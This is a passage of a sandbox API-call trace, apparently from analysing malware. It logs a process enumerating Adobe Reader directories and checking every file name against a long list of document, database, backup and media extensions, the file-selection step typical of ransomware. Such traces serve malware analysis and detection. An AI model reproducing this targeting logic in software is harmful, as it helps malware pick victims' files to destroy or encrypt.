ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0263.106] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.106] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e51, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.106] lstrlenW (lpString="ui-strings.js") returned 13 [0263.106] lstrlenW (lpString=".1cd") returned 4 [0263.106] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0263.106] lstrlenW (lpString=".3ds") returned 4 [0263.106] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0263.106] lstrlenW (lpString=".3fr") returned 4 [0263.106] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0263.106] lstrlenW (lpString=".3g2") returned 4 [0263.106] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0263.106] lstrlenW (lpString=".3gp") returned 4 [0263.106] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0263.106] lstrlenW (lpString=".7z") returned 3 [0263.106] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0263.106] lstrlenW (lpString=".accda") returned 6 [0263.106] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0263.106] lstrlenW (lpString=".accdb") returned 6 [0263.106] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0263.106] lstrlenW (lpString=".accdc") returned 6 [0263.106] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0263.107] lstrlenW (lpString=".accde") returned 6 [0263.107] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0263.107] lstrlenW (lpString=".accdt") returned 6 [0263.107] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0263.107] lstrlenW (lpString=".accdw") returned 6 [0263.107] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0263.107] lstrlenW (lpString=".adb") returned 4 [0263.107] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0263.107] lstrlenW (lpString=".adp") returned 4 [0263.107] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0263.107] lstrlenW (lpString=".ai") returned 3 [0263.107] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0263.107] lstrlenW (lpString=".ai3") returned 4 [0263.107] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0263.107] lstrlenW (lpString=".ai4") returned 4 [0263.107] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0263.107] lstrlenW (lpString=".ai5") returned 4 [0263.107] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0263.107] lstrlenW (lpString=".ai6") returned 4 [0263.107] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0263.107] lstrlenW (lpString=".ai7") returned 4 [0263.107] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0263.107] lstrlenW (lpString=".ai8") returned 4 [0263.108] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0263.108] lstrlenW (lpString=".anim") returned 5 [0263.108] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0263.108] lstrlenW (lpString=".arw") returned 4 [0263.108] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0263.108] lstrlenW (lpString=".as") returned 3 [0263.108] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0263.108] lstrlenW (lpString=".asa") returned 4 [0263.108] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0263.108] lstrlenW (lpString=".asc") returned 4 [0263.108] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0263.108] lstrlenW (lpString=".ascx") returned 5 [0263.108] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0263.108] lstrlenW (lpString=".asm") returned 4 [0263.108] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0263.108] lstrlenW (lpString=".asmx") returned 5 [0263.108] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0263.108] lstrlenW (lpString=".asp") returned 4 [0263.108] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0263.108] lstrlenW (lpString=".aspx") returned 5 [0263.109] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0263.109] lstrlenW (lpString=".asr") returned 4 [0263.109] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0263.109] lstrlenW (lpString=".asx") returned 4 [0263.109] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0263.109] lstrlenW (lpString=".avi") returned 4 [0263.109] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0263.109] lstrlenW (lpString=".avs") returned 4 [0263.109] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0263.109] lstrlenW (lpString=".backup") returned 7 [0263.109] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0263.109] lstrlenW (lpString=".bak") returned 4 [0263.109] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0263.109] lstrlenW (lpString=".bay") returned 4 [0263.109] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0263.109] lstrlenW (lpString=".bd") returned 3 [0263.109] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0263.109] lstrlenW (lpString=".bin") returned 4 [0263.109] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0263.109] lstrlenW (lpString=".bmp") returned 4 [0263.109] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0263.109] lstrlenW (lpString=".bz2") returned 4 [0263.109] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0263.109] lstrlenW (lpString=".c") returned 2 [0263.110] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0263.110] lstrlenW (lpString=".cdr") returned 4 [0263.110] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0263.110] lstrlenW (lpString=".cer") returned 4 [0263.110] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0263.110] lstrlenW (lpString=".cf") returned 3 [0263.110] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0263.110] lstrlenW (lpString=".cfc") returned 4 [0263.110] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0263.110] lstrlenW (lpString=".cfm") returned 4 [0263.110] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0263.110] lstrlenW (lpString=".cfml") returned 5 [0263.110] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0263.110] lstrlenW (lpString=".cfu") returned 4 [0263.110] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0263.110] lstrlenW (lpString=".chm") returned 4 [0263.110] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0263.111] lstrlenW (lpString=".cin") returned 4 [0263.111] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0263.111] lstrlenW (lpString=".class") returned 6 [0263.111] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0263.111] lstrlenW (lpString=".clx") returned 4 [0263.111] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0263.111] lstrlenW (lpString=".config") returned 7 [0263.111] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0263.111] lstrlenW (lpString=".cpp") returned 4 [0263.111] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0263.111] lstrlenW (lpString=".cr2") returned 4 [0263.111] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0263.111] lstrlenW (lpString=".crt") returned 4 [0263.111] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0263.111] lstrlenW (lpString=".crw") returned 4 [0263.111] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0263.111] lstrlenW (lpString=".cs") returned 3 [0263.111] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0263.111] lstrlenW (lpString=".css") returned 4 [0263.111] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0263.111] lstrlenW (lpString=".csv") returned 4 [0263.112] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0263.112] lstrlenW (lpString=".cub") returned 4 [0263.112] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0263.112] lstrlenW (lpString=".dae") returned 4 [0263.112] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0263.112] lstrlenW (lpString=".dat") returned 4 [0263.112] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0263.112] lstrlenW (lpString=".db") returned 3 [0263.112] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0263.112] lstrlenW (lpString=".dbf") returned 4 [0263.112] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0263.112] lstrlenW (lpString=".dbx") returned 4 [0263.112] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0263.112] lstrlenW (lpString=".dc3") returned 4 [0263.112] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0263.112] lstrlenW (lpString=".dcm") returned 4 [0263.113] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0263.113] lstrlenW (lpString=".dcr") returned 4 [0263.113] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0263.113] lstrlenW (lpString=".der") returned 4 [0263.113] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0263.113] lstrlenW (lpString=".dib") returned 4 [0263.113] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0263.113] lstrlenW (lpString=".dic") returned 4 [0263.113] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0263.113] lstrlenW (lpString=".dif") returned 4 [0263.113] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0263.113] lstrlenW (lpString=".divx") returned 5 [0263.113] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0263.113] lstrlenW (lpString=".djvu") returned 5 [0263.113] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0263.113] lstrlenW (lpString=".dng") returned 4 [0263.113] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0263.113] lstrlenW (lpString=".doc") returned 4 [0263.113] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0263.113] lstrlenW (lpString=".docm") returned 5 [0263.114] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0263.114] lstrlenW (lpString=".docx") returned 5 [0263.114] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0263.114] lstrlenW (lpString=".dot") returned 4 [0263.114] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0263.114] lstrlenW (lpString=".dotm") returned 5 [0263.114] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0263.114] lstrlenW (lpString=".dotx") returned 5 [0263.114] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0263.114] lstrlenW (lpString=".dpx") returned 4 [0263.114] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0263.114] lstrlenW (lpString=".dqy") returned 4 [0263.114] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0263.114] lstrlenW (lpString=".dsn") returned 4 [0263.115] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0263.115] lstrlenW (lpString=".dt") returned 3 [0263.115] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0263.115] lstrlenW (lpString=".dtd") returned 4 [0263.115] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0263.115] lstrlenW (lpString=".dwg") returned 4 [0263.115] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0263.115] lstrlenW (lpString=".dwt") returned 4 [0263.115] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0263.115] lstrlenW (lpString=".dx") returned 3 [0263.115] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0263.115] lstrlenW (lpString=".dxf") returned 4 [0263.115] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0263.115] lstrlenW (lpString=".edml") returned 5 [0263.115] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0263.115] lstrlenW (lpString=".efd") returned 4 [0263.115] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0263.115] lstrlenW (lpString=".elf") returned 4 [0263.115] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0263.115] lstrlenW (lpString=".emf") returned 4 [0263.115] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0263.115] lstrlenW (lpString=".emz") returned 4 [0263.116] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0263.116] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e51, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.116] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0263.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0263.116] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0263.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0263.116] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br") returned 105 [0263.116] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315770 [0263.117] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.117] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.117] lstrlenW (lpString="ui-strings.js") returned 13 [0263.117] lstrlenW (lpString=".1cd") returned 4 [0263.117] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0263.117] lstrlenW (lpString=".3ds") returned 4 [0263.117] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0263.117] lstrlenW (lpString=".3fr") returned 4 [0263.117] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0263.117] lstrlenW (lpString=".3g2") returned 4 [0263.117] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0263.117] lstrlenW (lpString=".3gp") returned 4 [0263.117] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0263.117] lstrlenW (lpString=".7z") returned 3 [0263.118] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0263.118] lstrlenW (lpString=".accda") returned 6 [0263.118] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0263.118] lstrlenW (lpString=".accdb") returned 6 [0263.118] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0263.118] lstrlenW (lpString=".accdc") returned 6 [0263.118] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0263.118] lstrlenW (lpString=".accde") returned 6 [0263.118] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0263.118] lstrlenW (lpString=".accdt") returned 6 [0263.118] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0263.118] lstrlenW (lpString=".accdw") returned 6 [0263.118] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0263.118] lstrlenW (lpString=".adb") returned 4 [0263.118] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0263.118] lstrlenW (lpString=".adp") returned 4 [0263.118] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0263.118] lstrlenW (lpString=".ai") returned 3 [0263.118] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0263.118] lstrlenW (lpString=".ai3") returned 4 [0263.118] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0263.118] lstrlenW (lpString=".ai4") returned 4 [0263.119] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0263.119] lstrlenW (lpString=".ai5") returned 4 [0263.119] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0263.119] lstrlenW (lpString=".ai6") returned 4 [0263.119] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0263.119] lstrlenW (lpString=".ai7") returned 4 [0263.119] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0263.119] lstrlenW (lpString=".ai8") returned 4 [0263.119] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0263.119] lstrlenW (lpString=".anim") returned 5 [0263.119] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0263.119] lstrlenW (lpString=".arw") returned 4 [0263.119] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0263.119] lstrlenW (lpString=".as") returned 3 [0263.119] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0263.119] lstrlenW (lpString=".asa") returned 4 [0263.119] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0263.119] lstrlenW (lpString=".asc") returned 4 [0263.119] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0263.119] lstrlenW (lpString=".ascx") returned 5 [0263.119] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0263.119] lstrlenW (lpString=".asm") returned 4 [0263.119] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0263.119] lstrlenW (lpString=".asmx") returned 5 [0263.119] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0263.119] lstrlenW (lpString=".asp") returned 4 [0263.119] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0263.119] lstrlenW (lpString=".aspx") returned 5 [0263.120] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0263.120] lstrlenW (lpString=".asr") returned 4 [0263.120] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0263.120] lstrlenW (lpString=".asx") returned 4 [0263.120] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0263.120] lstrlenW (lpString=".avi") returned 4 [0263.120] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0263.120] lstrlenW (lpString=".avs") returned 4 [0263.120] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0263.120] lstrlenW (lpString=".backup") returned 7 [0263.120] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0263.120] lstrlenW (lpString=".bak") returned 4 [0263.120] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0263.120] lstrlenW (lpString=".bay") returned 4 [0263.120] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0263.120] lstrlenW (lpString=".bd") returned 3 [0263.120] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0263.120] lstrlenW (lpString=".bin") returned 4 [0263.120] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0263.120] lstrlenW (lpString=".bmp") returned 4 [0263.120] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0263.120] lstrlenW (lpString=".bz2") returned 4 [0263.120] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0263.120] lstrlenW (lpString=".c") returned 2 [0263.121] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0263.121] lstrlenW (lpString=".cdr") returned 4 [0263.121] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0263.121] lstrlenW (lpString=".cer") returned 4 [0263.121] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0263.121] lstrlenW (lpString=".cf") returned 3 [0263.121] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0263.121] lstrlenW (lpString=".cfc") returned 4 [0263.121] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0263.121] lstrlenW (lpString=".cfm") returned 4 [0263.121] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0263.121] lstrlenW (lpString=".cfml") returned 5 [0263.121] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0263.121] lstrlenW (lpString=".cfu") returned 4 [0263.121] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0263.121] lstrlenW (lpString=".chm") returned 4 [0263.121] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0263.121] lstrlenW (lpString=".cin") returned 4 [0263.121] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0263.121] lstrlenW (lpString=".class") returned 6 [0263.121] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0263.121] lstrlenW (lpString=".clx") returned 4 [0263.121] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0263.121] lstrlenW (lpString=".config") returned 7 [0263.121] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0263.121] lstrlenW (lpString=".cpp") returned 4 [0263.121] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0263.121] lstrlenW (lpString=".cr2") returned 4 [0263.121] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0263.121] lstrlenW (lpString=".crt") returned 4 [0263.121] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0263.122] lstrlenW (lpString=".crw") returned 4 [0263.122] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0263.122] lstrlenW (lpString=".cs") returned 3 [0263.122] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0263.122] lstrlenW (lpString=".css") returned 4 [0263.122] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0263.122] lstrlenW (lpString=".csv") returned 4 [0263.122] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0263.122] lstrlenW (lpString=".cub") returned 4 [0263.122] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0263.122] lstrlenW (lpString=".dae") returned 4 [0263.122] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0263.122] lstrlenW (lpString=".dat") returned 4 [0263.122] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0263.122] lstrlenW (lpString=".db") returned 3 [0263.122] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0263.122] lstrlenW (lpString=".dbf") returned 4 [0263.122] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0263.122] lstrlenW (lpString=".dbx") returned 4 [0263.122] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0263.122] lstrlenW (lpString=".dc3") returned 4 [0263.122] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0263.122] lstrlenW (lpString=".dcm") returned 4 [0263.122] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0263.122] lstrlenW (lpString=".dcr") returned 4 [0263.123] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0263.123] lstrlenW (lpString=".der") returned 4 [0263.123] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0263.123] lstrlenW (lpString=".dib") returned 4 [0263.123] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0263.123] lstrlenW (lpString=".dic") returned 4 [0263.123] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0263.123] lstrlenW (lpString=".dif") returned 4 [0263.123] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0263.123] lstrlenW (lpString=".divx") returned 5 [0263.123] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0263.123] lstrlenW (lpString=".djvu") returned 5 [0263.123] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0263.123] lstrlenW (lpString=".dng") returned 4 [0263.123] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0263.123] lstrlenW (lpString=".doc") returned 4 [0263.123] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0263.123] lstrlenW (lpString=".docm") returned 5 [0263.123] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0263.123] lstrlenW (lpString=".docx") returned 5 [0263.123] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0263.123] lstrlenW (lpString=".dot") returned 4 [0263.123] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0263.123] lstrlenW (lpString=".dotm") returned 5 [0263.123] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0263.123] lstrlenW (lpString=".dotx") returned 5 [0263.123] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0263.123] lstrlenW (lpString=".dpx") returned 4 [0263.124] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0263.124] lstrlenW (lpString=".dqy") returned 4 [0263.124] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0263.124] lstrlenW (lpString=".dsn") returned 4 [0263.124] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0263.124] lstrlenW (lpString=".dt") returned 3 [0263.124] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0263.124] lstrlenW (lpString=".dtd") returned 4 [0263.124] 